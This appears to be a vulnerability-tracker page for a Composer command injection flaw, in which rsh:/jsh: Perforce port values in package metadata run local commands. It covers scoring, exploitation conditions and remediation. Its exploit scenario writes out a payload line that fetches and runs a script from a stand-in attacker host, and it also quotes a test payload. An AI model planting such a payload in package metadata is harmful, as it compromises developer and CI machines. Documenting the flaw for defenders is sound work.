Skip to main content

Composer EUVDEUVD-2026-69608

| CVE-2026-84361 HIGH
OS Command Injection (CWE-78)
2026-09-01 GitHub_M GHSA-rvx4-ffvw-m9q3
7.7
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Attacker publishes package with rsh: P4PORT in source.url
  2. Delivery
    Victim adds package from custom Composer repository
  3. Exploit
    Victim runs composer install triggering source download
  4. Execution
    Composer\Util\Perforce passes unvalidated URL to p4 binary
  5. Persist
    p4 interprets rsh: prefix as local exec instruction
  6. Impact
    Attacker-controlled command executes with user or CI account privileges

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires three simultaneous conditions: (1) the victim environment must use a custom or private Composer repository, or must process an untrusted composer.lock file - Packagist.org explicitly disallows Perforce source metadata, so the default Packagist-only workflow is not affected; (2) the Perforce p4 client binary must be installed and accessible in the system PATH on the machine running Composer; and (3) Composer must perform a source-based installation of the malicious package, triggered either by the --prefer-source flag, by the absence of a dist artifact for the package, or by explicit source install. Pure --prefer-dist installations where all packages have dist URLs available will not invoke the vulnerable Perforce code path. The combination of a non-default registry and a non-ubiquitous p4 client meaningfully limits the population of affected environments.

Impact

The CVSS 4.0 score of 7.7 (High) with vector AV:N/AC:L/AT:P/PR:N/UI:P accurately reflects the attack prerequisites: AT:P captures that the Perforce p4 client must be installed, and UI:P captures that the victim must actively run a source-based composer install or update. These two prerequisites significantly constrain real-world exploitability. Critically, Packagist.org - the dominant PHP package registry - explicitly prohibits Perforce source metadata, meaning the attack surface is limited to environments using custom or private Composer repositories or processing untrusted composer.lock files. EPSS score is absent from available data. KEV status is not listed, and no active exploitation is confirmed. The risk is most elevated in CI/CD pipelines that reference private repositories with less rigorous metadata vetting and happen to have p4 installed. For the majority of PHP developers using Packagist.org exclusively, this vulnerability is not reachable. Despite high C/I/A impact upon successful exploitation (arbitrary code execution as the CI/developer account), the dual prerequisite hurdle meaningfully reduces priority for environments without custom repositories or p4 installed.

Exploit ScenarioDerived

An attacker publishes a malicious package to a private or custom Composer repository, setting source.type to perforce and source.url to rsh:curl https://attacker.example/shell.sh | bash. When a developer or CI pipeline adds this package dependency and runs composer install --prefer-source (or when no dist artifact is available for the package), Composer invokes the installed p4 binary with the malicious port string, causing p4 to execute the embedded shell command with the privileges of the running user or CI service account. The fix commit test suite confirms the payload pattern with rsh:touch /tmp/pwned as a proof-of-concept.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
1 PoC candidate (unverified) Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Sep 01, 2026

Command injection in PHP Composer's Perforce VCS handler allows arbitrary local command execution with the privileges of the developer or CI account running package installation. Affects all Composer releases from 1.0 through 2.2.29 and 2.10.2; the flaw exploits P4PORT's undocumented rsh:/jsh: transport keywords, which instruct the Perforce p4 client to spawn a local child process instead of connecting to a server, allowing attacker-controlled package metadata to trigger OS command execution. No public exploit identified at time of analysis, though the fix commit includes test payloads confirming the mechanism.

RemediationAI

Upgrade to Composer 2.2.30 (LTS branch) or 2.10.3 (current branch), both confirmed patched releases available at https://github.com/composer/composer/releases/tag/2.2.30 and https://github.com/composer/composer/releases/tag/2.10.3. If an immediate upgrade is not feasible, removing the Perforce p4 client from developer workstations and CI runner images eliminates the attack surface entirely, since the vulnerable code path only triggers when p4 is present and invocable. As a defense-in-depth measure, restrict Composer repository sources to Packagist.org only - which prohibits Perforce source metadata - and avoid ingesting untrusted composer.lock files from external sources. Using composer install without --prefer-source (default --prefer-dist) will not trigger the Perforce source path for packages that have a dist artifact available, though this does not fully mitigate the risk for packages that lack dist URLs.

Affected VersionsENISA

composer 2.3.0, < 2.10.3
composer 1.0, < 2.2.30

Affected Packages

composer composer/composer fix: 2.2.30, 2.10.3
euvd composer_1_0 fix: 2.2.30
euvd composer_2_3_0 fix: 2.10.3

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 3 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Composer's Composer\Util\Perforce class accepted a package's source.url field as a Perforce P4PORT value and passed it directly to the p4 client binary without sanitization (CWE-78: Improper Neutralization of Special Elements used in an OS Command). The Perforce p4 client interprets P4PORT values prefixed with rsh: or jsh: as instructions to exec the remainder of the string as a local child process rather than open a network connection - a legitimate Perforce feature for tunneled connections that becomes an injection vector when the value is attacker-controlled. The fix adds a Perforce::isValidPort() static method using strict regex to reject rsh:/jsh: prefixes and only permit documented [tcp|ssl[4|6|46|64]:][host:]port network endpoint formats, applied at both package-load validation and runtime instantiation. The affected CPE is cpe:2.3:a:composer:composer:*:*:*:*:*:*:*:*, spanning all releases from 1.0 to the patched 2.2.30 and 2.10.3 versions.

Know when Composer gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 7.7 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

AC:H because p4 must be installed and a custom repo or untrusted lock file is required; UI:R because the victim must actively run composer install/update.

3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
SUSE 7.3 HIGH
AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Red Hat 7.3 HIGH

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
High
Vulnerable system: Integrity
High
Vulnerable system: Availability
High
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Sep 01, 2026 - 22:03 EUVD
CVE Published
Sep 01, 2026 - 20:06 cve.org
HIGH 7.7

DescriptionCVE.org

Composer is a dependency Manager for the PHP language. From 1.0 until 2.2.30 and 2.10.3, a malicious dependency package from a custom Composer repository or an untrusted composer.lock file could set source.type to perforce and source.url to an rsh: or jsh: P4PORT value. When the Perforce p4 client was installed and Composer installed the package from source through composer install or composer update, including --prefer-source, Composer\Util\Perforce passed the address to p4 without validation, causing p4 to run a local command with the privileges of the user or CI account. Packagist.org does not permit Perforce source metadata. This issue is fixed in versions 2.2.30 and 2.10.3.

Technical POC Analysis

Note: the evidence contains no raw patch diff and no PoC source code.

Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.

Latest POC

1 PoC candidate from github (unverified)

Sign in to open the public PoC links collected for this CVE.

Executive ViewAI

Why It Matters

PHP Composer versions 1.0-2.2.29 and 2.10.2 contain a command injection vulnerability in the Perforce VCS handler that allows arbitrary code execution during package installation with developer and CI account privileges. Organizations with Perforce-dependent packages face supply chain compromise and CI/CD pipeline exploitation risks.

Business Impact: High
Compensating Controls

Discontinue or migrate Perforce VCS dependencies to alternative version control systems (Git, SVN, Mercurial); configure Composer policies to reject Perforce repository URLs. Execute CI/CD pipelines in sandboxed environments with restrictive IAM roles and no access to production infrastructure. Audit and lock Composer dependencies to known-safe versions; restrict package installation to internal mirrors with pre-vetted packages only.

Threat Intelligence Overview

EPSS Score
0.4%
Top 66% exploitable
Prevalence
High
dominant PHP dependency manager, near-universal in modern PHP projects
Threat Intel
1
1 sources
Data Quality
8 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA Vendor GitHub VulDB

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

CVE-2021-29472 HIGH POC
8.8 Apr 27

Composer is a dependency manager for PHP. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, lo

CVE-2023-1596 MEDIUM POC
6.1 May 15

The tagDiv Composer WordPress plugin before 4.0 does not sanitise and escape a parameter before outputting it back in th

CVE-2021-41116 CRITICAL
9.8 Oct 05

Composer is an open source dependency manager for the PHP language. Rated critical severity (CVSS 9.8), this vulnerabili

CVE-2023-43655 HIGH
8.8 Sep 29

Composer is a dependency manager for PHP. Rated high severity (CVSS 8.8), this vulnerability is remotely exploitable, lo

CVE-2022-24828 HIGH
8.8 Apr 13

Composer is a dependency manager for the PHP programming language. Rated high severity (CVSS 8.8), this vulnerability is

CVE-2026-10043 HIGH
7.8 Jun 24

Arbitrary code execution in MosaicML Composer arises when the library loads a model or resumption checkpoint, because ch

CVE-2026-59948 HIGH POC
7.0 Jul 08

Arbitrary file write in Composer (the PHP dependency manager) before 2.2.29 and 2.10.2 allows a malicious package served

CVE-2025-3510 MEDIUM
6.4 May 02

The tagDiv Composer plugin for WordPress is vulnerable to Stored Cross-Site Scripting via multiple shortcodes in all ver

CVE-2026-59946 MEDIUM
6.1 Jul 08

Path traversal in Composer's binary installation flow allows a malicious PHP package to cause arbitrary host files to be

CVE-2026-11914 MEDIUM
5.9 Jul 10

Improper input validation in the Drupal Composer contributed module (SA-contrib-2026-046) exposes sites to confidentiali

CVE-2026-109153 MEDIUM
5.3 Oct 13

Path traversal in MosaicML Composer 0.32.1 and earlier allows an attacker who supplies a crafted checkpoint archive to w

CVE-2026-59947 MEDIUM
4.7 Jul 08

Credential leakage in Composer PHP dependency manager exposes sensitive tokens - such as GitHub Personal Access Tokens e

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Module for Web and Scripting 15 SP7 Affected
SUSE Linux Enterprise Server 15 SP7 Affected
SUSE Linux Enterprise Server 16.0 Affected
SUSE Linux Enterprise Server 16.1 Affected
SUSE Linux Enterprise Server for SAP Applications 15 SP7 Affected

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy